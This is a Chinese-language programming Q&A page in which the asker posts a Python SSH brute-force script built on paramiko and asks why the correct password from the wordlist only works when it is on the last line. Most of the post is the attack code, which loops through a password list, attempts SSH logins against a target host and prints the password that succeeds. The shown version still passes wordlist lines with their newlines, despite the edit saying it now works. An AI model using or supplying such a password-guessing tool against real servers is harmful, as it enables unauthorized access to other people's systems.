首页 > 解决方案 > 为什么我的 SSH 暴力破解器说正确的密码不正确?

问题描述

我从头开始使用 Python 编写了一个 SSH 暴力破解工具,但是,如果我将正确的 SSH 密码放在单词表的任何一行,除非我把它放在最后一行,否则它将失败。

编辑:感谢 khelwood 和“那个家伙”,我的代码现在可以工作了 <3 谢谢你们,我很感激。

这是代码:


import paramiko
from paramiko import BadAuthenticationType

passlist = open("word.txt", "r")

def brute(ip, user, passwd):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()

for psd in passlist:
    psd = str(psd)
    try:
        brute("machine_ip", "machine_user", psd)
        print("[*] Correct password: " + psd)
    except paramiko.ssh_exception.AuthenticationException:
        print("[!] Password incorrect: " + psd)

标签: pythonlinuxssh

解决方案


推荐阅读